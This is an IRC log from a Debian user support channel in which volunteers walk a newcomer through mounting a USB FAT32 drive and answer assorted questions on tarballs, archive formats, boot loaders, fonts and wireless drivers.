| 00:00.13 | bob2 | no |
| 00:00.18 | bob2 | I'd suggest removing the nvidia drivers, tho |
| 00:00.32 | bob2 | also, make sure you haven't done something stupid |
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| 00:00.38 | bob2 | and reinstall libvorbis whatever |
| 00:00.44 | karsten | khorne: OK. You may want a 2.6 kernel. What version of Debian are you running? 'cat /etc/debian_version |
| 00:01.38 | khorne | 3.1 |
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| 00:01.48 | khorne | The Sarge distro |
| 00:01.57 | karsten | khorne: OK. We may need to upgrade your kernel, we're going to try w/o first. |
| 00:02.06 | karsten | khorne: I'm following specs here, FYI: http://vic.gedris.org/linux-UsbMassStorage/ |
| 00:02.28 | karsten | khorne: /join #flood and paste output of 'lsmod | grep usb' |
| 00:03.17 | khorne | Pasted |
| 00:03.29 | karsten | khorne: OK. You've got module support. |
| 00:03.52 | karsten | khorne: 'cat /proc/scsi/scsi' should show one or more SCSI devices. USB drives show as SCSI. |
| 00:04.15 | karsten | khorne: If you can't puzzle it out, paste to #flood |
| 00:04.27 | deadline | bob2: fixed the problem by installing libvorbis0a and libvorbisfile3. thanks |
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| 00:04.46 | bob2 | deadline: xmms depends on them |
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| 00:04.52 | khorne | Pasted. I think it sees it thouguh |
| 00:05.25 | karsten | khorne: Your device is /dev/sda. Is it partitioned? |
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| 00:05.33 | khorne | As fat32 |
| 00:05.45 | karsten | khorne: 'fdisk -l /dev/sda' will show partitions. It does *not* repartition ('-l' == list) |
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| 00:05.55 | deadline | bob2: its just a miracle why they vanished or got corrupted. but it works now:) |
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| 00:06.10 | karsten | khorne: Try: mkdir /mnt/usbdrive; mount -t vfat /dev/sda1 /mnt/usbdrive' |
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| 00:06.22 | khorne | whenever I use the 'fdisk -l' commannd, I get nothting. |
| 00:06.28 | karsten | khorne: Interesting. |
| 00:06.35 | khorne | Just goes straight to another prompt. |
| 00:06.40 | karsten | khorne: Prior command creates a mountpoint and attempts to mount thet device. |
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| 00:07.21 | karsten | khorne: ...and it either works or doesn't... |
| 00:07.40 | khorne | Hmmm... |
| 00:07.56 | khorne | Blasted technology *lol* |
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| 00:08.02 | karsten | khorne: Heh. |
| 00:08.06 | karsten | @wb thomas_adam |
| 00:08.21 | thomas_adam | Oh, thanks, karsten. |
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| 00:08.29 | karsten | khorne: 'dmesg' may show errors, also 'tail -40 /var/log/syslog' |
| 00:08.40 | karsten | thomas_adam: NP. My secretary's sending my bill. |
| 00:08.41 | thomas_adam | karsten: How's Redrick doing, do you know? |
| 00:08.56 | karsten | thomas_adam: redricky. You could ask him yourself. |
| 00:09.03 | karsten | thomas_adam: He's been around earlier. |
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| 00:09.15 | thomas_adam | karsten: Ah, I spoke to him the other day... |
| 00:09.29 | khorne | I'm an idiot. I turn the exterenal off a little while ago because the fan was irritating me. |
| 00:09.43 | khorne | Now the fdisk wworked |
| 00:09.51 | paulswm | Hooray! |
| 00:10.05 | ThreeDayMonk | khorne: it's not an iomega disk, by any chance? |
| 00:10.08 | karsten | khorne: First rule of hardware: It Works Better If It's Plugged In. |
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| 00:10.45 | khorne | iomega?? |
| 00:10.49 | karsten | khorne: Often turning it on helps as welll ;-) |
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| 00:11.01 | karsten | khorne: Iomega: vendor of broken hardware. |
| 00:11.18 | ThreeDayMonk | oh yes, and the firewire interface doesn't work beyond 160 GB or so |
| 00:11.18 | khorne | Yeah yeah yeah, I already admitted that I was an idiot. *lol* |
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| 00:11.31 | karsten | ThreeDayMonk: No, Maxtor. Next step up, still subbasement. |
| 00:11.40 | khorne | The drive itself is Maxtor. |
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| 00:11.48 | khorne | The case is ADS Technologies |
| 00:11.53 | simonrvn | yummay, (now dead) spamd proc... |
| 00:12.00 | karsten | khorne: No. You're a rookie. Idiots don't discover the device is turned off for three week.s |
| 00:12.07 | simonrvn | sucked up 600 MB of swap before it died |
| 00:12.11 | khorne | Touche |
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| 00:12.29 | karsten | khorne: ...I had that experience myself w/ a set of laptops w/ WiFi and a *very* hard to see, itty-bitty, black-on-black slider switch. |
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| 00:12.38 | ThreeDayMonk | karsten: I have some clients who fall into that category. They phone me up to ask if they need a new computer when they've forgotton to switch it on... |
| 00:12.47 | karsten | simonrvn: You want to set a max size on your filtered messages, likely. |
| 00:12.49 | khorne | So should I be able to read me external now? |
| 00:12.54 | simonrvn | it is |
| 00:13.01 | deadline | how can i unpack all 200 tarballs in one directory? i remember something with for...? |
| 00:13.02 | karsten | ThreeDayMonk: Client stupidity *is* billable. |
| 00:13.09 | ThreeDayMonk | karsten: yep :-) |
| 00:13.14 | karsten | khorne: Yeah, try the 'mount' command again. |
| 00:13.16 | simonrvn | limits.conf probably helped ;) |
| 00:13.19 | bob2 | deadline: for i in *.tar.gz ; do tar -xf $i ; done |
| 00:13.20 | khorne | Yeah, I like the on buttons that are big, bright and in your face |
| 00:13.27 | karsten | khorne: 'mkdir /mnt/usbdrive; mount -t vfat /dev/sda1 /mnt/usbdrive' |
| 00:13.32 | doublehp | any one uses irxevent in E16 ? irxevent cant find the right ID of window when giving names ... even if _1_ window using that name is open ... |
| 00:13.36 | ThreeDayMonk | I just wish that "I forgot to press send in outlook" wasn't a cause for crisis! |
| 00:13.46 | karsten | khorne: ...fdisk should show *one* partition at /dev/sda1 in Windows format. |
| 00:14.14 | ThreeDayMonk | "Why isn't my mail going?" /me logs in via remote desktop, presses Send. "It's fixed now." |
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| 00:14.29 | deadline | bob2: it says, does not look like a tar archive, but im sure they are |
| 00:14.40 | bob2 | deadline: tar -zxf $i |
| 00:14.50 | karsten | khorne: Probably a partition type of 1, 4, 6, b, c, e, or f, and I'm betting on one of the latter. |
| 00:15.00 | karsten | ThreeDayMonk: Heh. |
| 00:15.07 | deadline | bob2: no output |
| 00:15.25 | bob2 | deadline: dude |
| 00:15.29 | bob2 | 10:13:19 bob2 | deadline: for i in *.tar.gz ; do tar -xf $i ; done |
| 00:15.31 | bob2 | 10:14:41 bob2 | deadline: tar -zxf $i |
| 00:15.41 | bob2 | put those two lines together |
| 00:15.42 | deadline | bob2: lol, ok |
| 00:15.46 | ThreeDayMonk | karsten: the good thing is that when there's a genuine problem (e.g. server meltdown), they just assume it's their fault |
| 00:16.12 | karsten | ThreeDayMonk: ...and even if they didn't, you could probably convince them it was ;-) |
| 00:16.37 | karsten | ThreeDayMonk: Have you considered selling them a five-year supply of Magic Smoke? |
| 00:16.58 | karsten | khorne: How goes? |
| 00:17.03 | deadline | bob2: works, thanks |
| 00:17.03 | ThreeDayMonk | heh |
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| 00:17.38 | khorne | "/dev/sda1 is not a valid block device. |
| 00:17.53 | karsten | khorne: OK. Paste 'fdisk -l /dev/sda' to #flood |
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| 00:18.26 | khorne | Pasted |
| 00:18.42 | karsten | khorne: mount -t vfat /dev/sda2 /mnt/usbdrive |
| 00:18.52 | karsten | khorne: It's formatted as partition 2 rather than 1. |
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| 00:19.10 | karsten | khorne: 80 GB drive? |
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| 00:19.24 | khorne | Yup |
| 00:19.42 | karsten | khorne: I think you said that... But yeah, blocks add up (or close) |
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| 00:19.47 | ZEA | has anyone used guiTAR to create .rar files? I then tried to extract them in windows' winrar app. and it complains they're encripted (and asks for password) |
| 00:20.00 | ZEA | is guiTAR somehow creating non-standard rar files? |
| 00:20.01 | khorne | Ok, when I did the mount command, it just went to another command line |
| 00:20.08 | khorne | Was a bit of a pause though. |
| 00:20.16 | karsten | ZEA: Um. Why are you creating RARs in the first place? |
| 00:20.19 | karsten | khorne: That worked. |
| 00:20.25 | khorne | sWEET!!! |
| 00:20.29 | karsten | khorne: 'mount' should show the device. |
| 00:20.34 | karsten | khorne: 'ls /mnt/usbdrive' |
| 00:20.42 | ZEA | karsten: a friend of mine that uses windows and asked me for stuff |
| 00:20.48 | bob2 | ZEA: guitar doesn't make rars |
| 00:20.50 | bob2 | ZEA: also, use zip |
| 00:21.01 | khorne | So, umm, hhow do I access it/ I'm used to Windows and it's E: |
| 00:21.05 | karsten | ZEA: I'd use another format. Eg: zip. tar. 7Zip is a good Win32 archive manager. |
| 00:21.10 | ZEA | bob2: so I dreamed of making rars with guitar? :S |
| 00:21.19 | bob2 | ZEA: yes |
| 00:21.25 | karsten | khorne: It's /mnt/usbdrive. Everything under that is the USB drive. |
| 00:21.30 | bob2 | guitar will call the command line rar tool |
| 00:21.35 | khorne | AWESOME!!! |
| 00:21.39 | khorne | Tthank you so much!!! |
| 00:21.42 | ZEA | yes, so I've read |
| 00:21.56 | ZEA | why would it use the encpryption option? I don't even get to choose that |
| 00:22.02 | ZEA | karsten: noted |
| 00:22.10 | bob2 | I doubt it did |
| 00:22.17 | karsten | khorne: edit /etc/fstab and add the following , you can then just do 'mount /mnt/usbdrive' or 'umount /mnt/usbdrive' to mount/unmount: "/dev/sda2 /mnt/usbdrive auto user,noauto 0 0" |
| 00:22.18 | bob2 | it probably just used some format winrar doesn't understand |
| 00:22.27 | bob2 | rar is a terrible format to use for exchange |
| 00:22.29 | ZEA | probably :S |
| 00:22.34 | karsten | ZEA: NFC. "RAR" is a somewhat problematic format IME. |
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| 00:22.54 | ZEA | although winrar gets to list the contents |
| 00:22.56 | karsten | khorne: If you want to get fancy, you can use autofs as well, and you'll just access the device on demand. |
| 00:23.02 | ZEA | karsten: what's NFC? |
| 00:23.05 | cafuego | Pretty much everything in the world can read .tar.gz files. |
| 00:23.12 | karsten | !tell zea about nfc |
| 00:23.15 | cafuego | Inclusing STuffit Expander and Winzip. |
| 00:23.34 | ZEA | :) |
| 00:23.51 | karsten | khorne: So you should be golden. |
| 00:24.03 | khorne | Does it matter if the tabbing doesn't line up? In ftab that is. |
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| 00:24.22 | karsten | khorne: No. But anal-retentives like myself ensure that they do ;-) |
| 00:24.49 | karsten | khorne: It's easier to read, better insurance against mistakes. For parsing, one or more whitespace (tab/sp) chars is sufficient. |
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| 00:25.36 | khorne | Easy to read GOOD. |
| 00:25.51 | khorne | But now it's not letting me get at my folders. |
| 00:25.54 | khorne | Arg |
| 00:25.57 | karsten | khorne: I'm obsessive about it. Really. I hate other people's code... |
| 00:26.00 | karsten | khorne: ?? |
| 00:26.12 | ThreeDayMonk | fat32? |
| 00:26.25 | khorne | Yeah |
| 00:26.29 | khorne | fat32 |
| 00:26.33 | karsten | ...buried six inches in his ribcage. |
| 00:26.33 | ThreeDayMonk | ad umask=000 iirc |
| 00:26.36 | ThreeDayMonk | *add |
| 00:27.00 | khorne | It shows all my files and folders as a page with a little foot on it. |
| 00:27.12 | karsten | khorne: What's "it"? |
| 00:27.18 | ThreeDayMonk | nautilus at a guess |
| 00:27.21 | karsten | khorne: Some sort of GUI filemangler? |
| 00:27.25 | ThreeDayMonk | judging by the foot |
| 00:27.29 | paulswm | a gnome foot, no doubt |
| 00:27.30 | khorne | Ad unmask=000 iirc to what? The fstab? |
| 00:27.38 | khorne | File Browser = it |
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| 00:27.41 | karsten | khorne: Yeah, I'm going to give you a better fix... |
| 00:27.50 | karsten | khorne: 'addgroup floppy' |
| 00:27.56 | ThreeDayMonk | khorne: yes, add it in that comma-separated list |
| 00:27.59 | karsten | khorne: Run these as root, BTW. |
| 00:28.07 | karsten | khorne: 'adduser <your username> floppy' |
| 00:28.33 | karsten | khorne: '/dev/sda2 /mnt/usbdrive vfat user,gid=floppy,umask=0007 0 0' in /etc/fstab |
| 00:29.03 | karsten | khorne: Mounts the device with group 'floppy'. Which you might change to, say, 'usbdrive', but it doesn't really matter. |
| 00:29.06 | ThreeDayMonk | khorne: note it's umask, not unmask |
| 00:29.18 | karsten | khorne: ...you need to log out and back in again for you to be added to the group. |
| 00:29.35 | karsten | khorne: ...but that group now has read/write access to your usb drive when mounted. |
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| 00:31.57 | khorne | Ok, those big spaces are confusing me. (I confuse easily at times) |
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| 00:32.21 | karsten | khorne: That's more-or-less copied from my own /etc/fstab. Which alligns. |
| 00:32.29 | nix000 | if anoyone who uses whereami can show how /etc/interfaces look like i'll apreciate |
| 00:32.31 | khorne | Ahha |
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| 00:33.57 | khorne | Mine has a noauto line. Should I leave it or remove it? |
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| 00:35.11 | khorne | noauto is right after user under thee options column |
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| 00:36.09 | Fluten | when choosing a pcmcia network card for my laptop, can i just pick one and expect it to work? or are pcmcia cards just as picky as normal desktop cards? |
| 00:36.14 | LeBear | hey hey |
| 00:36.41 | khorne | karsten: Should I leave the noauto line in? |
| 00:36.54 | holycow | Fluten, for linux you need to buy all hardware known to work |
| 00:36.58 | dli | any bind9 experts? I need to get dns for local cluster |
| 00:37.01 | holycow | i.e. you can't buy any old pcmcia card |
| 00:37.09 | holycow | especially if its a wireless nic |
| 00:37.39 | LeBear | hrmm.. damn. those mini install isos are getting less and less mini. |
| 00:37.47 | Eclipser | hehe |
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| 00:38.00 | holycow | LeBear, so are users expectations unfortunately |
| 00:38.08 | LeBear | yeah.. no doubt.. |
| 00:38.25 | LeBear | I was hoping to get one to fit on one of those smallsized CDs, so I could stash it away.. |
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| 00:38.31 | LeBear | I keep losing my debian install cd.. |
| 00:38.35 | dli | holycow, if I buy what's in kernel source, it should work, right? |
| 00:38.40 | LeBear | or loaning it out.. not sure which |
| 00:38.41 | dondelelcaro | LeBear: you could always use the business card iso |
| 00:38.51 | ZEA | LeBear: boot floppies rule :) |
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| 00:39.05 | LeBear | Nyet! Floppies is verbotten :P |
| 00:39.40 | tarzeau | lol |
| 00:39.53 | ZEA | dli: there are better sources of information, check the supported hardware in the respective howto (and also in the networking howto/guide ?) at www.tldp.org |
| 00:40.02 | tarzeau | LeBear: more like floppies don't exist, remember the iraq information minister? |
| 00:40.04 | LeBear | dondelelcaro: where's the businesscard iso? the ones I'm seeing here are 180meg.. |
| 00:40.19 | paulswm | bye all, stay safe |
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| 00:40.30 | xogon | hello, what driver/tools can anyone recommend for a wireless pcmcia card when i am in an airport or cafe and need to search for available networks? |
| 00:40.49 | maher | xogon: if the card works it should find them |
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| 00:41.33 | xogon | what about the different drivers? i have a prism2 card and notice there is hostap, wlan ng, and a hermes driver? |
| 00:41.39 | travisat | <PROTECTED> |
| 00:41.48 | travisat | errr |
| 00:41.57 | maher | xogon: use the driver that works with your card? |
| 00:42.24 | dli | what's the number of life r/w for flash memory? |
| 00:42.33 | xogon | maher: okay but for example i need to detect if there is encryption, etc. |
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| 00:43.11 | dondelelcaro | LeBear: http://www.nl.debian.org/devel/debian-installer/ <- see where it says business card iso? |
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| 00:43.22 | maher | xogon: last time i was at an airport the card found a network and when i ran a browser it gave me a login page |
| 00:43.36 | xogon | maher: for example, using hostap_cs driver and wavemon, i do pick up a signal, but have no way of knowing if i need 64-bit, 128-bit, no encryption, if it uses wep, wpa, etc. |
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| 00:43.50 | LeBear | dondelelcaro: ahh. I was looking at the woody install isos.. |
| 00:43.53 | LeBear | Thanks |
| 00:44.09 | maher | xogon: if its encrypted and you don't have a key it doesn't matter... |
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| 00:44.41 | xogon | maher: if i do pick up a signal, then don't i need to dhclient the interface? |
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| 00:45.17 | maher | xogon: you want <ifacename> dhcp in your /etc/network/interfaces |
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| 00:45.43 | maher | xogon: and either an auto or use ifplugd |
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| 00:46.26 | FieldySnuts | what's a fairly decent gui html editor? I like mozilla's composer however i keep running into a bug where I can't set any text or link colors or the background color and I end up editing it manually, which gets old after a few pages. |
| 00:47.01 | elephantman | Hi all |
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| 00:47.12 | xogon | FieldySnuts: openoffice? abiword? |
| 00:47.30 | FieldySnuts | hm, openoffice and abiword do decent html? with images? I don't need anything terribly complex |
| 00:47.53 | xogon | FieldySnuts: they do. they aren't as snazzy as frontpage but they will do that. |
| 00:47.58 | ThreeDayMonk | there's one that's based on XUL. short name. can't remember it. |
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| 00:48.09 | brynjarh | What is a Custom Debian Distribution? Is it just specially configured packages for specific groups of people or?? |
| 00:48.11 | FieldySnuts | xogon: cool, i'll look thanks |
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| 00:48.28 | elephantman | If i install WIN XP after a debian install - How can i start my debian system ? |
| 00:48.31 | karsten | How many disks so far in Sarge full inst? |
| 00:48.36 | ThreeDayMonk | FieldySnuts: nvu |
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| 00:48.49 | karsten | elephantman: boot disk, first. Then reconfigure GRUB. |
| 00:48.54 | ZEA | elephantman: make a boot floppy first |
| 00:49.17 | karsten | elephantman: ...if you didn't make one, your install disk, Knoppix, or other bootable Linux distro will work. |
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| 00:50.08 | elephantman | karsten: you mean i will be able to reboot with my debian r3 install disk - even if XP has replaced the boot sector ? |
| 00:50.40 | ws[7c0] | i have a usb drive, and i plugged it in and dmesg detected it, but i'm not sure how to find out what device it is under /dev, i do have a whole bunch of information from /proc/bus/usb/devices (it's listed as an entry in there), how do i find out which device it is? |
| 00:50.46 | elephantman | ZEA: ok but i don't have a dd |
| 00:50.50 | elephantman | ZEA: ok but i don't have a fd |
| 00:50.55 | ZEA | elephantman: the install disk is probably not the best option. you should create a boot floppy |
| 00:51.07 | ZEA | elephantman: use lilo or grub then |
| 00:51.07 | elephantman | ZEA: can i create a boot cd ? |
| 00:51.33 | EvanCarroll | ws[7c0]: if your running hotplug it should also be mounted in /media/ |
| 00:51.43 | ws[7c0] | k |
| 00:51.46 | elephantman | ZEA: ok so the process is : create boot floppy -> boot with it -> enter linux -> rerun lilo |
| 00:51.57 | blue_ | I duel boot win xp and debian but how would i change the boot loader back to win xp so i can delete the debian partition |
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| 00:52.07 | ws[7c0] | i have hotplug on my system, but it's not putting anything under /media |
| 00:52.09 | infodroid | elephantman: you need to chroot into your old system, or run lilo with the right root= switch |
| 00:52.10 | peterS | blue_: this is really the wrong place to ask that |
| 00:52.16 | peterS | blue_: that's a matter for Windows support |
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| 00:52.30 | blue_ | peterS: considering that there is no right place |
| 00:52.40 | Font_ | anyone knows how fonts works in Debian (3.1 Testing )?? |
| 00:52.42 | peterS | blue_: but you might be able to just uninstall lilo (if that's what you are using) - it tries to restore whatever boot sector was there before it was installed |
| 00:52.44 | ZEA | elephantman: use lilo to make a bootable floppy, you can keep the kernel image on the harddrive. just alter lilo.conf indicating that the floopy should be where to install lilo |
| 00:52.44 | blue_ | but this is probably the best shot |
| 00:52.46 | brynjarh | ws[7c0], are you running Sid? Is your user in the plugdev group? |
| 00:52.54 | blue_ | its not lilo, its the other one |
| 00:53.00 | ws[7c0] | lemme check |
| 00:53.04 | brynjarh | Anyone here that knows what CDD(Custom Debian Distribution) is? I just read http://wiki.debian.net/index.cgi?CustomDebian and I feel left with confusion rather then information. It says it's a "subset of Debian that is configured to support a particular target group out-of-the-box", how do they acomplish this?? When they say subset of Debian are they just talking about packages? |
| 00:53.05 | ZEA | elephantman: man lilo |
| 00:53.19 | EvanCarroll | !ccd |
| 00:53.26 | Font_ | anyone knows how fonts works in Debian (3.1 Testing )?? |
| 00:53.28 | elephantman | ZEA: ok - is this whole thing is doable on a CDR ? |
| 00:54.03 | ws[7c0] | hmn, yeah, i wasn't in plugdev.. i just added myself to it and now i'm gonna try re-inserting the usb drive |
| 00:54.11 | ZEA | elephantman: I don't know how to make a bootable cdr |
| 00:54.20 | LeBear | So.. question. How smooth is the sarge network installer? |
| 00:54.21 | elephantman | ZEA: ok thanx |
| 00:54.25 | ZEA | elephantman: I'd have to read to learn how :) |
| 00:54.44 | Font_ | I think there is no XFS running anymore ??? |
| 00:54.48 | LeBear | any issues I need to watch out for? |
| 00:54.50 | maher | LeBear: smooth as silk |
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| 00:55.23 | brynjarh | ws[7c0], did it work? |
| 00:55.36 | MobyTurbo | LeBear: the only major issue is that it doesn't support PPP |
| 00:55.57 | LeBear | Hrmm. that's no problem.. it's a box on my lan.. not my router |
| 00:56.03 | dasunt | I'm using the OSS drivers for my Ensoniq-but-sold-as-a-Creative-SB card and I don't seem to have MIDI support. Suggestions? |
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| 00:56.38 | MobyTurbo | LeBear: then use d-i. :-) It is an issue for me, since I'm on dial-up |
| 00:56.44 | ws[7c0] | brynjarh: no, dmesg says usb-storage: device found at 3 usb-storage: waiting for device to settle before scanning Vendor: Apple Model: iPod Rev: 2.70 Type: Direct-Access ANSI SCSI revision: 04 |
| 00:56.50 | LeBear | MobyTurbo: d-i ? |
| 00:57.06 | MobyTurbo | LeBear: Debian (net) installer, aka Sarge's installer. |
| 00:57.25 | extropy | brynjarh: there are CDDs which usually target a group such as geographic information specialists. they basically just group a bunch of relevent packages into a installation cd |
| 00:57.26 | LeBear | Ahhh ok. Gotcha. |
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| 00:57.29 | dasunt | Would using the ALSA drivers give me MIDI support? |
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| 00:58.43 | Font_ | anyone who knows who to install chinese/Japanise fonts? |
| 00:58.53 | Font_ | *how |
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| 00:59.37 | LeBear | wow.. nice speed from cdimage.debian.org.. I'm getting 354KB/s.. |
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| 01:01.59 | infodroid | Font_: japanese fonts... apt-get install ttf-kochi-mincho ttf-kochi-gothic xfonts-intl-japanese xfonts-intl-japanese-big xfonts-kaname |
| 01:02.09 | extropy | dasunt: alsa supports midi |
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| 01:02.12 | LeBear | I'm hungry. |
| 01:02.22 | extropy | Bears often are. |
| 01:02.36 | LeBear | it's a long winter up in Canada |
| 01:02.36 | ZEA | LeBear: mug the frige |
| 01:02.45 | extropy | eat some trampers |
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| 01:04.04 | lonewolff | hi there i wonder if anyone can help me... im trying to boot debian sarge on a Cyrix MediaGX and it keeps stopping at Checking 'hlt' instruction |
| 01:04.12 | Font_ | infodroid, will this work with my vim aswell? |
| 01:04.20 | Myren | whats a /win 12 |
| 01:04.38 | Myren | my bad |
| 01:04.43 | infodroid | Font_: that line gives good japanese fonts in firefox, don't know about vim, sorry |
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| 01:04.56 | Font_ | infodroid, hmmm .. |
| 01:05.02 | infodroid | Font_: i found it in a howto on google, i lost the url |
| 01:05.04 | ZEA | lonewolff: what cpu is the kernel compiled for? |
| 01:05.14 | rdr | How do I get Debian to mount my usb ports Im new so pls try to make it simple Thanks |
| 01:05.20 | lonewolff | ZEA: its a 386 kernel |
| 01:05.23 | muhoo_ | i'm using kpkg to build the hostap modules. what do i put in --added-modules? "hostap", "hostap-source", "hostap-driver", or something else? |
| 01:06.00 | directhex | muhoo_, apt-get install module-assistant && m-a a-i hostap |
| 01:06.19 | muhoo_ | cool, thanks |
| 01:06.22 | Font_ | infodroid, should I have to restart X to get it to work .. |
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| 01:07.10 | infodroid | Font_: depends if you use a font server, maybe you restart your font server |
| 01:07.22 | infodroid | Font_: look at debian reference for good howto |
| 01:07.26 | infodroid | !tell Font_ about reference |
| 01:07.32 | lonewolff | ZEA: i386 sorry. i assumed that would work |
| 01:07.40 | infodroid | Font_: and finally this guide is really overkill http://dspnet.fr.eu.org/~lonewolf/LinuxJapan/Howto_English_Japanese.html |
| 01:07.56 | ZEA | lonewolff: yes, it's supposed to work on all i386 compatible archs |
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| 01:08.09 | doublehp | is there a way to switch slides using Lirc ? I mean , a Lirc plugin for OOo or xpdf ... irxevent does not work properly with E16. |
| 01:08.30 | lonewolff | ZEA: any ides why its not? |
| 01:08.49 | ZEA | lonewolff: search google |
| 01:08.58 | elephantman | What is the better app to record cd on debian ? |
| 01:09.17 | ZEA | elephantman: don't know about the better, but cdrecord is pretty popular |
| 01:09.35 | ZEA | s/better/best |
| 01:09.49 | Font_ | infodroid, thanks for that .. |
| 01:10.01 | directhex | elephantman, k3b, if you want a gui |
| 01:10.02 | elephantman | ZEA: ok thanx |
| 01:10.08 | infodroid | Font_: n/p |
| 01:10.15 | elephantman | directhex: ok cool |
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| 01:10.33 | daww | In my new compiled kernel the soundcard is working fine in all programs but XMMS that says "Please check that: * Your soundcard is configured correctly, * You have the correct output plugin selected", what could it be? |
| 01:10.37 | lonewolff | it appears from the debian-user list people have had debian 2.0 working so i might try that |
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| 01:11.20 | Lee__ | what would be the cause of a large amount of error messages like so: |
| 01:11.21 | Lee__ | usb 2-2: new full speed USB device using address 9 |
| 01:11.21 | Lee__ | usb 2-2: device not accepting address 9, error -71 |
| 01:11.35 | extropy | daww: have you checked the output plugin xmms is using? |
| 01:11.38 | elephantman | Is it possible with samba to share a DVD-R recorder from a remote computer in linux ? |
| 01:11.39 | Lee__ | over and over again each time I re insert the device |
| 01:11.58 | Lee__ | elephantman: sure |
| 01:12.28 | directhex | elephantman, not as a recorder, no. you can't send scsi burn commands over tcp/ip |
| 01:12.29 | Lee__ | elephantman: oh wait, no, I don't think that's possible. |
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| 01:12.56 | lonewolff | oh wai the system has booted a bit more so thats good ... |
| 01:13.05 | lonewolff | maybee its just being REALLY slow |
| 01:13.31 | daww | extropy, thanks you! |
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| 01:13.58 | elephantman | directhex: oh ok |
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| 01:14.06 | maher | Lee__: either kernel bug or bas usb device |
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| 01:14.20 | elephantman | directhex: but its not a scsi device |
| 01:14.28 | Lee__ | maher: it's a high quality $30 via mobo. probably the latter. |
| 01:14.41 | directhex | elephantman, utterly irrelevant. |
| 01:14.46 | maher | Lee__: what usb device? |
| 01:15.01 | Lee__ | the device does work usually. It's a Sharp Zaurus USB cradle. |
| 01:15.23 | Lee__ | today's the first day it gave me "error -71" :) |
| 01:15.32 | maher | Lee__: ok - i dunno - i managed to find a usb network adapter that didn't conform to the usb spec... |
| 01:15.38 | LeBear | crapping hell. I found my debian install CD. It was in my old kicking around cdrom drive that I keep for installing new boxes. hehe |
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| 01:15.56 | Lee__ | reboot! |
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| 01:16.08 | Nwallins | apache, for some strange, unkown reason, is looking for '/images/' not in the DocumentRoot, but in /usr/share/images/ ? |
| 01:16.29 | Nwallins | File does not exist: /usr/share/images/border_down_left_side.jpg |
| 01:16.30 | LeBear | there's probly an alias defined in the config.. |
| 01:17.11 | extropy | or it's a conspiracy |
| 01:17.26 | Nwallins | LeBear: nailed it |
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| 01:17.47 | Nwallins | iteresting misfeature |
| 01:18.44 | LeBear | Sorta. the default config is more a collection of example features, rather than something you're just supposed to use as is. |
| 01:18.55 | Nwallins | it's under <IfModule mod_alias.c> |
| 01:19.11 | Nwallins | yeah, I'm going to take a closer look now |
| 01:19.16 | Nwallins | thanks |
| 01:19.20 | LeBear | no probs |
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| 01:23.09 | greg_work | i'm trying to setup a raid array.. just hotadded the second drive, but it keeps doing this: raid1: hdb: unrecoverable I/O read error for block 154068352 md: syncing RAID array md0 then starts syncing all over again.. i've done shutdown -F -r .. is there any way i can fix/get around this i/o problem? |
| 01:23.13 | jstevens | hrrm... awwful quiet in here |
| 01:24.03 | LeBear | hrmm.. what's an animal that sings alot? |
| 01:24.19 | Nwallins | canary |
| 01:24.43 | LeBear | nahh.. that's a bird.. bird's aren't animals.. they're evil demon things that prey on the weak. |
| 01:24.48 | extropy | humans |
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| 01:24.54 | LeBear | hrmm.. how about a coyote |
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| 01:25.03 | Nwallins | even ol' tux? |
| 01:25.29 | LeBear | tux is gobbling up more and more windows boxen every year :) |
| 01:25.46 | jstevens | LOL... that he is |
| 01:25.46 | extropy | thats one hungry penguin |
| 01:25.56 | directhex | sounds like cthulu |
| 01:26.08 | abrocadabro | I have a webpage using phpbb, since after I migrate everything from FC3 to debian, some java elements cease to work, what extra package do I need to install in Debian to get javascript support in work under phpbb? |
| 01:26.44 | Nwallins | java != javascript |
| 01:27.30 | abrocadabro | right now I don't have any java packages installed, how can I get support for javascript? |
| 01:27.35 | Nwallins | javascript is implemented on the browser side |
| 01:28.10 | abrocadabro | Nwallins: so it's not my end but whoever is browsing the webpage? |
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| 01:28.31 | Nwallins | yeah. the only thing on the server is the script itself |
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| 01:28.58 | Nwallins | maybe your problem is with PHP? |
| 01:29.07 | Nwallins | that is server side |
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| 01:29.24 | abrocadabro | maybe it is, I'll have a close look |
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| 01:29.59 | wk1989 | hi |
| 01:30.27 | wk1989 | is it possible to somehow, like with gaim, to have gaim notify u when someone's typing to you? |
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| 01:30.37 | wk1989 | not the normal type notification thing |
| 01:30.39 | wk1989 | like |
| 01:30.51 | wk1989 | notify u before the 1st message is received |
| 01:31.02 | bandito | howdy all, quick question: in vim, i have the ctermbg color set to '24' in my style and that displays properly once i start vim and load the profile. but for some reason, xterm (256 color version) won't accept 'color24' or '24' as a valid background color when i try to start it with the -bg argument. specifically it says 'Color name 'color24' not defined'. any ideas? |
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| 01:32.43 | wk1989 | i think it's possible |
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| 01:33.16 | wk1989 | cuz my friend said, he was trying to talk to some1 on msn, and before he could complete his first message, that guy said "what r u typing"? |
| 01:33.36 | nevyn | stab |
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| 01:33.38 | bandito | wk1989: yes, its a setting in the preferences |
| 01:33.57 | bandito | wk1989: when it's turned on it will display a green keyboard notification icon in the top right of the chat window |
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| 01:34.54 | nevyn | wk1989: if that users window is open then you get the notification |
| 01:35.21 | nevyn | but what I understand you to be talking about is having some form of typing notification in the buddy list |
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| 01:35.41 | libpcp | hi all |
| 01:35.44 | wk1989 | no |
| 01:35.53 | wk1989 | i want it to notify me, without an open window |
| 01:35.58 | libpcp | i would like to ask, does debian woody 3.0 can handle sata drives? |
| 01:36.07 | bandito | wk1989: it won't do that, the window has to be open |
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| 01:36.22 | wk1989 | and i would like a script to automatically, send something like "what r u typing to me?" |
| 01:36.29 | wk1989 | i believe there is such a script |
| 01:36.41 | wk1989 | according to the descriptions of my buddy |
| 01:37.18 | nevyn | wk1989: wouldn't that be kindof annnoying |
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| 01:37.23 | bandito | wk1989: that would be extremely annoying and warrant a removal from my buddy list in about .004 seconds, but still, i've never seen anything like that |
| 01:37.27 | libpcp | i would like to ask, does debian woody 3.0 can handle sata drives? |
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| 01:37.48 | extropy | wk1989: i'm sure you could edit the source to do that pretty easily |
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| 01:38.08 | extropy | wk1989: you'd quickly have no buddies though |
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| 01:38.51 | bob2 | libpcp: in pata-mode, probably |
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| 01:39.16 | libpcp | bob2: what is pata-mode? |
| 01:39.27 | bob2 | pretending to be a normal PCI IDE device |
| 01:39.53 | zbrown | whats the best way to roll back a package like libglib2.0? |
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| 01:40.46 | zbrown | like i have one upgraded, then i decided i wanted to go back to an older version after removing the repository containting the newest one? |
| 01:40.50 | clueless | how do I recreat /dev? I am guessing there's a script with bunch of mknod command in it which is excuted during the install... what is name of that script? |
